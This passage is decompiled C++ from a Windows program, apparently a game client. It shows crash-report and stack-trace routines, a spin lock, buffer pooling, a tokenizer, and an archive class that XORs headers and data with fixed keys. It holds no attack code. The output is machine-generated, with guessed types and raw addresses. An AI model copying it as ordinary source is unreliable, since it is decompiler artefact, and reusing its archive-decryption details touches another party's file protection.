_wsprintfA(&s_szBuff[v8], " %s ", &s_stSymbol[28]); v8 += v20; iCurr = v8; } if ( (dwOpts & 8) == 8 ) { s_stLine.Key = 0; s_stLine.LineNumber = 0; s_stLine.FileName = 0; s_stLine.Address = 0i64; s_stLine.SizeOfStruct = 24; v21 = s_stFrame.AddrPC.Offset; v22 = GetCurrentProcess(); if ( SymGetLineFromAddr64(v22, v21, (PDWORD)&dwLineDisp, &s_stLine) == 1 ) { if ( dwOpts & 0xFFFFFFF7 ) { v8 += _wsprintfA(&s_szBuff[v8], ","); iCurr = v8; } v27 = lstrlenA(s_stLine.FileName); if ( v27 > 1738 - v8 ) { lstrcpynA(&s_szBuff[v8], s_stLine.FileName, 2047 - v8); result = s_szBuff; szRet = s_szBuff; return result; } if ( dwLineDisp ) { iCurr = _wsprintfA( &s_szBuff[v8], " %s, line %04d+%04d byte(s)", s_stLine.FileName, s_stLine.LineNumber, dwLineDisp) + v8; result = s_szBuff; szRet = s_szBuff; return result; } iCurr = _wsprintfA(&s_szBuff[v8], " %s, line %04d", s_stLine.FileName, s_stLine.LineNumber) + v8; } } goto LABEL_34; } } } return 0; } // 6312E8: invalid function type has been ignored //----- (005ECCE0) -------------------------------------------------------- const char *__stdcall GetFaultReason(_EXCEPTION_POINTERS *pExPtrs) { int v1; // eax@0 const char *result; // eax@2 int v3; // esi@3 HINSTANCE__ *v4; // eax@3 void *v5; // eax@4 void *v6; // eax@5 void *v7; // edx@5 char *v8; // ebx@5 char v9; // cl@6 int v10; // edx@7 char v11; // cl@8 int v12; // esi@10 const char *v13; // edi@10 int v14; // esi@10 unsigned int v15; // eax@12 unsigned int v16; // ST08_4@13 HMODULE v17; // eax@13 int v18; // esi@14 int v19; // esi@14 int v20; // esi@14 __int64 v21; // ST14_8@14 HANDLE v22; // eax@14 int v23; // eax@14 int v24; // edx@14 int v25; // eax@16 int v26; // eax@18 const char *v27; // edi@19 int v28; // edx@19 char *v29; // eax@19 char v30; // cl@20 int v31; // esi@23 int v32; // esi@23 DWORD64 v33; // ST0C_8@23 HANDLE v34; // eax@23 int v35; // esi@24 int v36; // eax@27 int v37; // esi@29 DWORD64 v38; // ST0C_8@29 HANDLE v39; // eax@29 int v40; // esi@30 int v41; // [sp-Ch] [bp-58h]@1 unsigned __int64 dwDisp; // [sp+0h] [bp-4Ch]@23 const char *dwTemp; // [sp+8h] [bp-44h]@10 int v44; // [sp+Ch] [bp-40h]@10 int v45; // [sp+10h] [bp-3Ch]@30 int iLen; // [sp+14h] [bp-38h]@24 char *pSym; // [sp+18h] [bp-34h]@23 int dwLineDisp; // [sp+1Ch] [bp-30h]@29 int v49; // [sp+20h] [bp-2Ch]@18 DWORD iLength; // [sp+24h] [bp-28h]@3 void *pchBaseName; // [sp+28h] [bp-24h]@4 char *szRet; // [sp+2Ch] [bp-20h]@25 int iCurr; // [sp+30h] [bp-1Ch]@3 int *v54; // [sp+34h] [bp-18h]@1 int v55; // [sp+3Ch] [bp-10h]@1 int (__cdecl *v56)(int, PVOID, int); // [sp+40h] [bp-Ch]@1 _UNKNOWN *v57; // [sp+44h] [bp-8h]@1 int v58; // [sp+48h] [bp-4h]@1 v58 = -1; v57 = &unk_689488; v56 = _except_handler3; v55 = v1; v54 = &v41; if ( IsBadReadPtr(pExPtrs, 8u) == 1 ) { OutputDebugStringA("Bad parameter to GetFaultReason\n"); return 0; } v3 = 0; v58 = 0; EHInitSymbolEngine(); iCurr = 0; v4 = GetModuleHandleA(0); iLength = GetModuleFileNameA(v4, s_szFName, 0x800u); if ( (signed int)iLength > 0 ) { strrchr(s_szFName, 92); pchBaseName = v5; if ( v5 ) { v6 = (char *)v5 + 1; pchBaseName = v6; v7 = v6; v8 = s_szBuff; do { v9 = *(_BYTE *)v7; *v8 = *(_BYTE *)v7; v7 = (char *)v7 + 1; ++v8; } while ( v9 ); v10 = (int)((char *)v6 + 1); do { v11 = *(_BYTE *)v6; v6 = (char *)v6 + 1; } while ( v11 ); v3 = (int)((char *)v6 - v10); iCurr = (int)((char *)v6 - v10); } } v12 = _wsprintfA(&s_szBuff[v3], " caused an: ") + v3; iCurr = v12; v13 = EHConvertSimpleException(pExPtrs->ExceptionRecord->ExceptionCode); dwTemp = v13; v44 = 0; v14 = _wsprintfA(&s_szBuff[v12], "< ") + v12; iCurr = v14; if ( v13 || v44 ) { v15 = _wsprintfA(&s_szBuff[v14], "%s", v13, v44); } else { v16 = pExPtrs->ExceptionRecord->ExceptionCode; v17 = GetModuleHandleA("NTDLL.DLL"); v15 = FormatMessageA(0xA00u, v17, v16, 0, &s_szBuff[v14], 0x800u, 0); } v18 = v15 + v14; iCurr = v18; v19 = _wsprintfA(&s_szBuff[v18], " >") + v18; iCurr = v19; v20 = _wsprintfA(&s_szBuff[v19], "\nIn module: ") + v19; iCurr = v20; v21 = (__int64)pExPtrs->ExceptionRecord->ExceptionAddress; v22 = GetCurrentProcess(); v23 = ((int (__stdcall *)(HANDLE, _DWORD, _DWORD))SymGetModuleBase64)(v22, v21, HIDWORD(v21)); dwTemp = (const char *)v23; v44 = v24; if ( v23 || v24 ) { iLength = GetModuleFileNameA((HMODULE)v23, s_szFName, 0x800u); if ( (signed int)iLength <= 0 || (strrchr(s_szFName, 92), (v49 = v26) == 0) ) goto LABEL_23; v27 = (const char *)(v26 + 1); v49 = v26 + 1; v28 = v26 + 1; v29 = &s_szBuff[v20]; do { v30 = *(_BYTE *)v28; *v29++ = *(_BYTE *)v28++; } while ( v30 ); v25 = strlen(v27); } else { v25 = _wsprintfA(&s_szBuff[v20], ""); } v20 += v25; iCurr = v20; LABEL_23: v31 = _wsprintfA( &s_szBuff[v20], " at: < %04X:%08X >", pExPtrs->ContextRecord->SegCs, pExPtrs->ExceptionRecord->ExceptionAddress) + v20; iCurr = v31; v32 = _wsprintfA(&s_szBuff[v31], "\n") + v31; iCurr = v32; pSym = s_stSymbol; memset(s_stSymbol, 0, sizeof(s_stSymbol)); *(_DWORD *)s_stSymbol = 32; *(_DWORD *)&s_stSymbol[24] = 992; v33 = (DWORD64)pExPtrs->ExceptionRecord->ExceptionAddress; v34 = GetCurrentProcess(); if ( SymGetSymFromAddr64(v34, v33, &dwDisp, (PIMAGEHLP_SYMBOL64)s_stSymbol) == 1 ) { v35 = _wsprintfA(&s_szBuff[v32], ",") + v32; iCurr = v35; iLen = lstrlenA(&s_stSymbol[28]); if ( iLen > 1486 - v35 ) { lstrcpynA(&s_szBuff[v35], &s_stSymbol[28], 2047 - v35); result = s_szBuff; szRet = s_szBuff; return result; } v36 = dwDisp ? _wsprintfA(&s_szBuff[v35], " %s()+%04d byte(s)", &s_stSymbol[28], dwDisp) : _wsprintfA( &s_szBuff[v35], " %s ", &s_stSymbol[28]); v37 = v36 + v35; iCurr = v37; s_stLine.Key = 0; s_stLine.LineNumber = 0; s_stLine.FileName = 0; s_stLine.Address = 0i64; s_stLine.SizeOfStruct = 24; v38 = (DWORD64)pExPtrs->ExceptionRecord->ExceptionAddress; v39 = GetCurrentProcess(); if ( SymGetLineFromAddr64(v39, v38, (PDWORD)&dwLineDisp, &s_stLine) == 1 ) { v40 = _wsprintfA(&s_szBuff[v37], ",") + v37; iCurr = v40; v45 = lstrlenA(s_stLine.FileName); if ( v45 > 1738 - v40 ) { lstrcpynA(&s_szBuff[v40], s_stLine.FileName, 2047 - v40); result = s_szBuff; szRet = s_szBuff; return result; } if ( dwLineDisp ) { iCurr = _wsprintfA( &s_szBuff[v40], " %s, line %04d+%04d byte(s)", s_stLine.FileName, s_stLine.LineNumber, dwLineDisp) + v40; result = s_szBuff; szRet = s_szBuff; return result; } iCurr = _wsprintfA(&s_szBuff[v40], " %s, line %04d", s_stLine.FileName, s_stLine.LineNumber) + v40; } } return s_szBuff; } // 6312E8: invalid function type has been ignored //----- (005ED150) -------------------------------------------------------- const char *__stdcall GetFirstStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *pExPtrs) { const char *result; // eax@2 if ( IsBadReadPtr(pExPtrs, 4u) == 1 ) { OutputDebugStringA("GetFirstStackTraceString - invalid pExPtrs!\n"); result = 0; } else { FillInStackFrame(pExPtrs->ContextRecord); memcpy(&s_stContext, pExPtrs->ContextRecord, sizeof(s_stContext)); result = EHInternalGetStackTraceString(dwOpts); } return result; } //----- (005ED1A0) -------------------------------------------------------- const char *__stdcall GetNextStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *__formal) { return EHInternalGetStackTraceString(dwOpts); } //----- (005ED1B0) -------------------------------------------------------- void __thiscall CIOSpinLock::Wait(CIOSpinLock *this) { CIOSpinLock *v1; // esi@1 signed int v2; // ebx@1 signed int v3; // ebp@4 v1 = this; v2 = 3999; while ( InterlockedCompareExchange(&v1->lock, 1, 0) ) { _mm_pause(); --v2; if ( v2 < 0 ) { v3 = 3999; while ( 1 ) { SwitchToThread(); if ( !InterlockedCompareExchange(&v1->lock, 1, 0) ) break; --v3; if ( v3 < 0 ) { do Sleep(0x3E8u); while ( InterlockedCompareExchange(&v1->lock, 1, 0) ); return; } } return; } } } //----- (005ED210) -------------------------------------------------------- void __thiscall IOBufferContainer::IOBufferContainer(IOBufferContainer *this) { IOBufferContainer *v1; // ebx@1 signed int v2; // edi@1 void *v3; // eax@2 void *v4; // esi@2 v1 = this; v2 = 0; this->iobc_Lock.lock = 0; this->iobc_Pointer = 0; do { v3 = operator new(0x2010u); v4 = v3; if ( v3 ) { *(_DWORD *)v3 = &CIOBuffer::_vftable_; InterlockedIncrement(&CIOBuffer::s_nCount); } else { v4 = 0; } v1->iobc_PointerList[v2] = (CIOBuffer *)v4; if ( !v4 ) ShineExit("IOBufferContainer::IOBufferContainer"); ++v2; } while ( v2 < 512 ); } // 6894D8: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (005ED280) -------------------------------------------------------- CIOBuffer *__thiscall IOBufferContainer::iobc_Alloc(IOBufferContainer *this) { int v1; // edx@1 void *v2; // eax@2 CIOBuffer *v3; // esi@2 CIOBuffer *result; // eax@3 v1 = this->iobc_Pointer; if ( v1 < 512 ) { result = this->iobc_PointerList[v1]; this->iobc_Pointer = v1 + 1; } else { v2 = operator new(0x2010u); v3 = (CIOBuffer *)v2; if ( v2 ) { *(_DWORD *)v2 = &CIOBuffer::_vftable_; InterlockedIncrement(&CIOBuffer::s_nCount); result = v3; } else { result = 0; } } return result; } // 6894D8: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (005ED2D0) -------------------------------------------------------- void *__thiscall CIOBuffer::_scalar_deleting_destructor_(CIOBuffer *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CIOBufferVtbl *)&CIOBuffer::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 6894D8: using guessed type int (__thiscall *CIOBuffer___vftable_)(void *p, char); //----- (005ED2F0) -------------------------------------------------------- CIOBuffer *__cdecl CIOBuffer::Alloc() { int v0; // esi@1 CIOBuffer *v1; // edi@3 int v2; // esi@5 v0 = InterlockedIncrement(&g_nAllocBuffer) & 0xF; if ( InterlockedCompareExchange((volatile LONG *)(8 * v0 + 355822300), 1, 0) ) CIOSpinLock::Wait((CIOSpinLock *)(8 * v0 + 355822300)); v1 = g_slotBuffer[v0].m_pBuffer; if ( v1 ) { g_slotBuffer[v0].m_pBuffer = v1->m_pNext; InterlockedExchange((volatile LONG *)(8 * v0 + 355822300), 0); } else { InterlockedExchange((volatile LONG *)(8 * v0 + 355822300), 0); v2 = 2056 * v0; if ( InterlockedCompareExchange((volatile LONG *)((char *)&unk_1535735C + v2), 1, 0) ) CIOSpinLock::Wait((CIOSpinLock *)((char *)&unk_1535735C + v2)); v1 = IOBufferContainer::iobc_Alloc((IOBufferContainer *)((char *)&IOBufferList + v2)); InterlockedExchange((volatile LONG *)((char *)&unk_1535735C + v2), 0); } v1->m_dwSize = 0; v1->m_nRef = 1; v1->m_pNext = 0; InterlockedIncrement(&CIOBuffer::s_nAlloc); return v1; } //----- (005ED3B0) -------------------------------------------------------- void __thiscall CIOBuffer::Free(CIOBuffer *this) { CIOBuffer *v1; // ebx@1 int v2; // eax@1 int v3; // esi@1 CIOSpinLock *v4; // edi@1 v1 = this; InterlockedDecrement(&CIOBuffer::s_nAlloc); v2 = InterlockedDecrement(&g_nFreeBuffer) & 0xF; v3 = 8 * v2 + 355822296; v4 = (CIOSpinLock *)(8 * v2 + 355822300); if ( InterlockedCompareExchange((volatile LONG *)(8 * v2 + 355822300), 1, 0) ) CIOSpinLock::Wait(v4); v1->m_pNext = *(CIOBuffer **)v3; *(_DWORD *)v3 = v1; InterlockedExchange(&v4->lock, 0); } //----- (005ED410) -------------------------------------------------------- void __thiscall CToken::CToken(CToken *this) { CToken *v1; // esi@1 char v2; // dl@1 v1 = this; CGdp::CGdp(&this->m_Gdp); v1->m_bIsOpen = 0; v1->m_hFile = 0; v1->m_pFileBF = 0; v1->m_pSaveTokenPos = 0; v1->m_bOpenByMemory = 0; v1->m_bResetStart = 0; v1->m_bIsStart = 1; *(_DWORD *)&v1->m_szSeprator[0] = *(_DWORD *)" \t\r\n"; v2 = byte_689508; v1->m_pToken = 0; v1->m_lplpTokenList = 0; v1->m_dwNumTokens = 0; v1->m_szSeprator[4] = v2; } // 689508: using guessed type char byte_689508; //----- (005ED480) -------------------------------------------------------- void __thiscall CToken::Close(CToken *this) { CToken *v1; // esi@1 v1 = this; if ( this->m_pFileBF ) { free(this->m_pFileBF); v1->m_pFileBF = 0; } if ( v1->m_bIsOpen ) { CGdp::CloseHandle(&v1->m_Gdp, v1->m_hFile); v1->m_bIsOpen = 0; } CGdp::GdpClose(&v1->m_Gdp); v1->m_bOpenByMemory = 0; } //----- (005ED4E0) -------------------------------------------------------- void __thiscall CToken::SetSeprator(CToken *this, char *lpszSeprator) { char *v2; // eax@1 unsigned int v3; // edx@1 char v4; // cl@2 v2 = lpszSeprator; v3 = this->m_szSeprator - lpszSeprator; do { v4 = *v2; v2[v3] = *v2; ++v2; } while ( v4 ); } //----- (005ED500) -------------------------------------------------------- char *__thiscall CToken::my_tcstok(CToken *this, char *pstrToken, const char *pstrDelimit) { CToken *v3; // esi@1 char *v4; // edi@3 char *result; // eax@4 char *v6; // eax@5 char *v7; // eax@6 char *v8; // eax@7 v3 = this; if ( pstrToken ) this->m_pMyTokenStart = pstrToken; v4 = this->m_pMyTokenStart; if ( v4 ) { v6 = _mbspbrk(v4, pstrDelimit); v3->m_pMyTokenStart = v6; if ( v6 == v4 ) { do { v4 = v3->m_pMyTokenStart + 1; v3->m_pMyTokenStart = v4; v7 = _mbspbrk(v4, pstrDelimit); v3->m_pMyTokenStart = v7; } while ( v7 == v4 ); } v8 = v3->m_pMyTokenStart; if ( v8 ) { *v8 = 0; ++v3->m_pMyTokenStart; } result = v4; } else { result = 0; } return result; } //----- (005ED580) -------------------------------------------------------- char *__thiscall CToken::GetToken(CToken *this) { CToken *v1; // esi@1 char *result; // eax@1 char *v3; // [sp-8h] [bp-Ch]@3 const char *v4; // [sp-4h] [bp-8h]@3 v1 = this; result = this->m_pFileBF; if ( result ) { if ( this->m_bIsStart ) { v4 = this->m_szSeprator; this->m_bIsStart = 0; this->m_bResetStart = 0; v3 = result; } else { if ( this->m_bResetStart ) { result = CToken::my_tcstok(this, this->m_pResetStart, this->m_szSeprator); v1->m_bResetStart = 0; v1->m_pToken = result; return result; } v4 = this->m_szSeprator; v3 = 0; } result = CToken::my_tcstok(this, v3, v4); v1->m_pToken = result; } return result; } //----- (005ED600) -------------------------------------------------------- int __thiscall CToken::GoBegin(CToken *this) { CToken *v1; // ebx@1 int result; // eax@3 DWORD dwReaded; // [sp+0h] [bp-4h]@1 dwReaded = (DWORD)this; v1 = this; if ( this->m_bOpenByMemory ) { this->m_pFileBF[this->m_dwFileSize] = 0; memcpy(this->m_pFileBF, this->m_pOpenMemory, this->m_dwFileSize); LABEL_3: result = 1; v1->m_bIsStart = 1; return result; } if ( this->m_bIsOpen ) { if ( CGdp::SetFilePointer(&this->m_Gdp, this->m_hFile, 0, 0, 0) != -1 && CGdp::ReadFile(&v1->m_Gdp, v1->m_hFile, v1->m_pFileBF, v1->m_dwFileSize, &dwReaded, 0) ) goto LABEL_3; CToken::Close(v1); } return 0; } //----- (005ED6B0) -------------------------------------------------------- int __thiscall CToken::GoNextLine(CToken *this) { CToken *v1; // esi@1 char *v2; // edx@2 int result; // eax@3 char *v4; // eax@4 char v5; // cl@5 v1 = this; if ( this->m_pFileBF && (v2 = this->m_pToken) != 0 ) { v4 = this->m_pToken; do v5 = *v4++; while ( v5 ); if ( v2[v4 - (v2 + 1) + 1] != 10 ) v1->m_pToken = CToken::my_tcstok(v1, 0, "\n"); result = 1; } else { result = 0; } return result; } //----- (005ED700) -------------------------------------------------------- char *__thiscall CToken::GoStartString(CToken *this) { char *result; // eax@2 char *v2; // esi@3 char *v3; // eax@3 int v4; // edx@3 char v5; // cl@4 int v6; // eax@5 int v7; // edx@5 char v8; // al@5 signed int v9; // edi@5 int v10; // ecx@6 if ( this->m_pFileBF ) { v2 = this->m_pToken; v3 = this->m_pToken; v4 = (int)(v3 + 1); do v5 = *v3++; while ( v5 ); v6 = (int)&v3[-v4]; v7 = v6; v8 = v2[v6 + 1]; v9 = 1; if ( v8 != 34 ) { v10 = (int)&v2[v7 + 1]; do { if ( !v8 ) break; v8 = *(_BYTE *)(v10 + 1); ++v9; ++v10; } while ( v8 != 34 ); } result = &v2[v9] + v7; } else { result = 0; } return result; } //----- (005ED760) -------------------------------------------------------- void __thiscall CToken::SaveTokenPositon(CToken *this) { this->m_pSaveTokenPos = this->m_pToken; } //----- (005ED770) -------------------------------------------------------- int __thiscall CToken::RestoreTokenPositon(CToken *this, const char *pMarkPoint) { CToken *v2; // esi@1 char *v4; // [sp-8h] [bp-10h]@3 const char *v5; // [sp-4h] [bp-Ch]@3 v2 = this; if ( pMarkPoint ) { if ( CToken::GoBegin(this) ) { v5 = v2->m_szSeprator; v4 = (char *)pMarkPoint; LABEL_7: v2->m_bIsStart = 0; v2->m_pToken = CToken::my_tcstok(v2, v4, v5); return 1; } } else { if ( this->m_pSaveTokenPos && CToken::GoBegin(this) ) { v5 = v2->m_szSeprator; v4 = v2->m_pSaveTokenPos; goto LABEL_7; } } return 0; } //----- (005ED7E0) -------------------------------------------------------- unsigned int __thiscall CToken::IsTokenID(CToken *this, char *Token, char **ppTokenList, unsigned int NumTokens) { unsigned int v4; // esi@1 unsigned int result; // eax@4 v4 = 0; if ( NumTokens ) { while ( _mbsicmp(Token, ppTokenList[v4]) ) { ++v4; if ( v4 >= NumTokens ) goto LABEL_4; } result = v4; } else { LABEL_4: result = -1; } return result; } //----- (005ED820) -------------------------------------------------------- char *__thiscall CToken::GetTokenID(CToken *this, unsigned int *lpdwTokenID, char **ppTokenList, unsigned int NumTokens) { CToken *v4; // esi@1 char *v5; // eax@3 v4 = this; CToken::GetToken(this); *lpdwTokenID = -1; if ( ppTokenList ) { if ( NumTokens ) { v5 = v4->m_pToken; if ( v5 ) { if ( !*v5 ) return 0; *lpdwTokenID = CToken::IsTokenID(v4, v5, ppTokenList, NumTokens); } } } return v4->m_pToken; } //----- (005ED870) -------------------------------------------------------- void __thiscall CToken::_CToken(CToken *this) { CGdp *v1; // esi@1 v1 = (CGdp *)this; CToken::Close(this); CGdp::_CGdp(v1); } //----- (005ED8C0) -------------------------------------------------------- int __thiscall CToken::Open(CToken *this, char *lpszPathName) { CToken *v2; // esi@1 void *v3; // eax@1 unsigned int v4; // eax@2 void *v5; // eax@3 DWORD dwReaded; // [sp+0h] [bp-4h]@1 dwReaded = (DWORD)this; v2 = this; CToken::Close(this); v3 = CGdp::CreateFileA(&v2->m_Gdp, lpszPathName, 0x80000000u, 1u, 0, 3u, 0x80u, 0); v2->m_hFile = v3; if ( v3 == (void *)-1 ) return 0; v2->m_bIsOpen = 1; v4 = CGdp::GetFileSize(&v2->m_Gdp, v3, 0); v2->m_dwFileSize = v4; if ( v4 == -1 || (v5 = malloc(v4 + 1), (v2->m_pFileBF = (char *)v5) == 0) || (*((_BYTE *)v5 + v2->m_dwFileSize) = 0, !CGdp::ReadFile(&v2->m_Gdp, v2->m_hFile, v2->m_pFileBF, v2->m_dwFileSize, &dwReaded, 0)) ) { CToken::Close(v2); return 0; } v2->m_bIsStart = 1; v2->m_bOpenByMemory = 0; return 1; } //----- (005ED990) -------------------------------------------------------- int __thiscall CToken::OpenFromMemory(CToken *this, char *lpText) { CToken *v2; // ebx@1 unsigned int v3; // eax@1 void *v4; // eax@2 int result; // eax@3 v2 = this; CToken::Close(this); v3 = strlen(lpText); v2->m_dwFileSize = v3; if ( v3 && (v4 = malloc(v3 + 1), (v2->m_pFileBF = (char *)v4) != 0) ) { *((_BYTE *)v4 + v2->m_dwFileSize) = 0; memcpy(v2->m_pFileBF, lpText, v2->m_dwFileSize); result = 1; v2->m_pOpenMemory = lpText; v2->m_bIsStart = 1; v2->m_bOpenByMemory = 1; } else { result = 0; } return result; } //----- (005EDA20) -------------------------------------------------------- char *__thiscall CToken::GetTokenString(CToken *this, int *pstrsize) { CToken *v2; // esi@1 char *v3; // eax@1 char *v5; // eax@7 char *v6; // eax@11 int v7; // edi@12 char v8; // cl@13 v2 = this; v3 = this->m_pFileBF; if ( !v3 ) return 0; if ( this->m_bIsStart ) { this->m_bIsStart = 0; this->m_bResetStart = 0; this->m_pToken = CToken::my_tcstok(this, v3, (const char *)"\""); } if ( v2->m_bResetStart ) { v2->m_pToken = v2->m_pResetStart - 1; v2->m_bResetStart = 0; } v5 = CToken::GoStartString(v2); v2->m_pToken = v5; if ( *v5 != 34 || v5[1] != 34 ) { v6 = CToken::my_tcstok(v2, v5, (const char *)"\""); v2->m_pToken = v6; if ( pstrsize ) { v7 = (int)(v6 + 1); do v8 = *v6++; while ( v8 ); *pstrsize = (int)&v6[-v7]; } } else { v5[1] = 0; v2->m_pResetStart = v2->m_pToken + 2; v2->m_bResetStart = 1; v2->m_pToken = (char *)&CToken::m_NULLstr; if ( pstrsize ) { *pstrsize = 0; return v2->m_pToken; } } return v2->m_pToken; } //----- (005EDB10) -------------------------------------------------------- void __thiscall CGdp::Clear(CGdp *this) { this->m_bIsGDPOpen = 0; this->m_GdpIO = 0; this->m_hGDPFile = 0; this->m_fpGDPFile = 0; this->m_bIsGDPOpenByHandle = 0; this->m_bIsGDPOpenByFilePointer = 0; memset(this->m_GDPFileName, 0, sizeof(this->m_GDPFileName)); this->m_dwGDPFPos = 0; this->m_dwGDPFPosHigh = 0; this->m_dwNumChunk = 0; this->m_pChunkList = 0; this->m_bIsOpen = 0; this->m_StoreType = 0; this->m_bNew = 0; this->m_hFile = 0; this->m_dwFileNo = 0; this->m_pFileChunk = 0; this->m_dwDefaultNumEmptyMakes = 10; } //----- (005EDB80) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpSetFilePointer(CGdp *this, int lLow, int *lpHigh, unsigned int dwMode) { CGdp *v4; // esi@1 CGdp::GDP_IO_TYPE v5; // eax@1 unsigned int result; // eax@5 v4 = this; v5 = this->m_GdpIO; if ( v5 ) { if ( v5 != 1 ) return -1; if ( fseek(this->m_fpGDPFile, lLow, dwMode) ) { SetLastError(0x84u); return -1; } if ( lpHigh ) *lpHigh = 0; result = ftell(v4->m_fpGDPFile); } else { result = SetFilePointer(this->m_hGDPFile, lLow, lpHigh, dwMode); } return result; } //----- (005EDC00) -------------------------------------------------------- void __thiscall CGdp::GdpEncryptHeader(CGdp *this, CGdp::GDP_CHUNK *lpChunk) { unsigned int v2; // ecx@1 unsigned int v3; // eax@1 v2 = this->m_EncryptKey; v3 = 0; do { *(_DWORD *)&lpChunk->___u2.TYPE_MAIN.Comment[4 * v3++] ^= v2 ^ 0x36175A5A; v2 = __ROL__(v2, 1); } while ( v3 < 0x4D ); } //----- (005EDC30) -------------------------------------------------------- void __thiscall CGdp::GdpDecryptData(CGdp *this, void *lpData, unsigned int dwSize) { char v3; // al@1 unsigned int v4; // ecx@1 v3 = LOBYTE(this->m_EncryptKey) ^ BYTE1(this->m_EncryptKey) ^ BYTE2(this->m_EncryptKey) ^ BYTE3(this->m_EncryptKey); v4 = 0; if ( dwSize ) { do *((_BYTE *)lpData + v4++) ^= v3; while ( v4 < dwSize ); } } //----- (005EDC70) -------------------------------------------------------- int __thiscall CGdp::GdpWriteChunk(CGdp *this, CGdp::GDP_CHUNK *lpChunk) { CGdp *v2; // ebx@1 CGdp::GDP_CHUNK *v3; // eax@2 CGdp::GDP_IO_TYPE v4; // ecx@4 int result; // eax@7 DWORD NumberOfBytesWritten; // [sp+Ch] [bp-144h]@9 CGdp::GDP_CHUNK WrtChunk; // [sp+10h] [bp-140h]@3 v2 = this; if ( this->m_bWriteEncryptedHeader ) { lpChunk->Encrypt |= 1u; memcpy(&WrtChunk, lpChunk, sizeof(WrtChunk)); CGdp::GdpEncryptHeader(this, &WrtChunk); v3 = &WrtChunk; } else { v3 = lpChunk; v3->Encrypt &= 0xFFFFFFFEu; } v4 = v2->m_GdpIO; if ( v4 ) result = v4 != 1 || fwrite(v3, 0x13Cu, 1u, v2->m_fpGDPFile) == 1; else result = WriteFile(v2->m_hGDPFile, v3, 0x13Cu, &NumberOfBytesWritten, 0); return result; } //----- (005EDD20) -------------------------------------------------------- int __thiscall CGdp::GdpUpdateChunk(CGdp *this, unsigned int dwChunkNo) { CGdp *v2; // edi@1 int result; // eax@3 v2 = this; if ( CGdp::GdpSetFilePointer( this, this->m_pChunkList[dwChunkNo].ChunkFPos, &this->m_pChunkList[dwChunkNo].ChunkFPosHigh, 0) == -1 && GetLastError() ) result = 0; else result = CGdp::GdpWriteChunk(v2, &v2->m_pChunkList[dwChunkNo].Chunk) != 0; return result; } //----- (005EDD80) -------------------------------------------------------- void __thiscall CGdp::UpdateWriteDataInfo(CGdp *this, const void *lpBuffer, unsigned int nNumberOfBytesToWrite) { CGdp *v3; // esi@1 CGdp::GDP_CHUNK_LIST *v4; // edx@1 unsigned int v5; // kr00_4@1 int v6; // ecx@1 struct _SYSTEMTIME SystemTime; // [sp+Ch] [bp-10h]@1 v3 = this; v4 = this->m_pFileChunk; v5 = *(_DWORD *)&v4->Chunk.gap114[4]; *(_DWORD *)&v4->Chunk.gap114[4] += nNumberOfBytesToWrite; v6 = (nNumberOfBytesToWrite + (unsigned __int64)v5) >> 32; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[8] = v6; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[12] = nNumberOfBytesToWrite + v5; *(_DWORD *)&v3->m_pFileChunk->Chunk.gap114[16] = v6; GetSystemTime(&SystemTime); SystemTimeToFileTime(&SystemTime, (LPFILETIME)&v3->m_pFileChunk->Chunk.gap114[20]); } //----- (005EDE00) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpSearchFile(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // ebx@1 int v4; // edi@2 CGdp::GDP_CHUNK_LIST *v5; // eax@3 CGdp::GDP_TYPE v6; // ecx@3 int v7; // eax@3 unsigned int result; // eax@6 v2 = this; v3 = 0; if ( this->m_dwNumChunk ) { v4 = 0; while ( 1 ) { v5 = v2->m_pChunkList; v6 = v5[v4].Chunk.Type; v7 = (int)&v5[v4]; if ( v6 == 2 ) { if ( !_mbsicmp((const char *)(v7 + 16), lpFileName) ) break; } ++v3; ++v4; if ( v3 >= v2->m_dwNumChunk ) goto LABEL_6; } result = v3; } else { LABEL_6: result = -1; } return result; } //----- (005EDE70) -------------------------------------------------------- int __thiscall CGdp::GdpDeleteFile(CGdp *this, unsigned int dwFileNo) { char *v2; // eax@1 int result; // eax@2 v2 = (char *)&this->m_pChunkList[dwFileNo].Chunk; if ( *(_DWORD *)v2 == 2 ) { *(_DWORD *)v2 = 3; result = CGdp::GdpUpdateChunk(this, dwFileNo); } else { result = 0; } return result; } //----- (005EDEB0) -------------------------------------------------------- int __thiscall CGdp::GdpDeleteFile(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // eax@1 int v4; // ecx@2 int result; // eax@3 v2 = this; v3 = CGdp::GdpSearchFile(this, lpFileName); if ( v3 != -1 && (v4 = (int)&v2->m_pChunkList[v3].Chunk, *(_DWORD *)v4 == 2) ) { *(_DWORD *)v4 = 3; result = CGdp::GdpUpdateChunk(v2, v3); } else { result = 0; } return result; } //----- (005EDF00) -------------------------------------------------------- int __thiscall CGdp::CloseHandle(CGdp *this, void *hObject) { CGdp *v2; // esi@1 int result; // eax@2 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_bIsOpen ) { CGdp::GdpUpdateChunk(this, this->m_dwFileNo); v2->m_bIsOpen = 0; } result = 1; } else { result = CloseHandle(hObject); } return result; } //----- (005EDF40) -------------------------------------------------------- int __thiscall CGdp::ReadFile(CGdp *this, void *hFile, void *lpBuffer, unsigned int nNumberOfBytesToRead, unsigned int *lpNumberOfBytesRead, _OVERLAPPED *lpOverlapped) { CGdp *v6; // esi@1 unsigned int v8; // eax@5 int v9; // eax@6 v6 = this; if ( !this->m_bIsGDPOpen ) return ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped); if ( hFile != this->m_hFile ) return 0; v8 = this->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumChunk; if ( v8 ) { v9 = v8 - 1; if ( v9 ) { if ( v9 == 1 ) return 0; goto LABEL_11; } return 0; } if ( !ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped) ) return 0; LABEL_11: if ( v6->m_pFileChunk->Chunk.Encrypt & 2 ) CGdp::GdpDecryptData(v6, lpBuffer, 